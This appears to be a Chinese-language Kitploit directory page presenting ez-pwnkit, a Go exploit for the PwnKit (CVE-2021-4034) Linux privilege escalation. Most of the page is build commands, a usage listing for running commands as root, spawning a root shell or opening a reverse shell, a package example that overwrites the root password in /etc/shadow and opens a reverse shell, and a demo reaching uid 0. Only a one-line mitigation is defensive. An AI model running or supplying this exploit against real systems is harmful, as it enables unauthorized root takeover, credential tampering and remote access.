Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/oxdbxkxo/ez-pwnkit
权限提升漏洞利用框架漏洞分析漏洞利用Payload 开发
GitHuboxdbxkxo/ez-pwnkit

ez-pwnkit

Go 实现的 PwnKit Linux 本地权限提升漏洞利用程序(CVE-2021-4034)

查看仓库
924年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

ez-pwnkit

一个纯 Go 实现的 CVE-2021-4034 PwnKit 漏洞利用程序。

该漏洞利用程序使用 syscall.ForkExec 来确保在主程序结束后仍能存活。

安装

root@kitploit:~
git clone https://github.com/OXDBXKXO/ez-pwnkit.git
cd ez-pwnkit
make

由于该漏洞利用程序依赖于一个恶意的共享库,因此会从 payload.go 生成一个 PWN.so 文件,并将其嵌入到最终的 exploit 可执行文件中。

Makefile 使用 sed 临时将 payload.go 文件的包名改为 main,因此该 Makefile 仅适用于 Linux。

由于 Go 版本的 payload 不如 C 版本可靠,Makefile 默认会使用 C payload 编译漏洞利用程序。你也可以使用 make build_go 选择使用 Go payload 进行编译。

使用方法

作为独立可执行文件

root@kitploit:~
$> ./exploit -h
Usage of ./exploit:
  -c string
        Run command as root in separate process
  -o    Pipe output of forked command to terminal
  -r string
        Open a reverse-shell in separate process. Format: ip:port
  -s    Spawn a root shell

该漏洞利用程序可以通过命令(-c)、反向 shell(-r)或直接生成 root shell(-s)来使用。

root@kitploit:~
$> ./exploit -s
sh-5.1#
root@kitploit:~
$> ./exploit -c "cat /etc/passwd"
root@kitploit:~
$> ./exploit -o -c "cat /etc/passwd"
[/etc/passwd content]

作为包使用

root@kitploit:~
package main

import (
    "github.com/OXDBXKXO/ez-pwnkit"
)

func main() {
    // 将 root 密码修改为 'password'
    ez_pwnkit.Command(`sed -i -e 's,^root:[^:]\+:,root:$6$eymNRCK.KxwDM6vu$idH0swGW1nsnLb8fT1QibUho5xg7uGJT7fuiheLZHIi9M4gTSk0qIOlUIk2Mm9/Nz5C.T4GkgkmLcK5BtOPkS0:,' etc/shadow`, false)

    // 打开一个反向 shell
	ez_pwnkit.RevShell("127.0.0.1:1337")
}

请注意,由于 Command 和 RevShell 使用 syscall.ForkExec 来运行漏洞利用程序,生成的进程与主程序相互独立,并在主程序结束后仍然存活。

虽然 go-PwnKit 可以从 Github 导入到你的项目中,但请不要忘记你将作为 root 执行一个不受信任的共享库。因此,强烈建议使用本地编译的 PWN.so。只是提醒一下 😚

演示

root@kitploit:~
$> ./exploit
sh-5.1# id
uid=0(root) gid=0(root) groups=0(root)
sh-5.1#

缓解措施

如果可能,请修补 pkexec,否则请移除 pkexec 二进制文件上的 setuid 位。

root@kitploit:~
chmod 0755 /usr/bin/pkexec

致谢

本项目受到多个其他 PwnKit 漏洞利用 PoC 的启发。

感谢 An00bRektn 提供了直截了当的漏洞利用设置。

感谢 PaterGottesman 和 berdav 对漏洞利用原理的清晰讲解。

感谢 dzonerzy 提供的 GIO_USE_VFS 技巧。

下载工具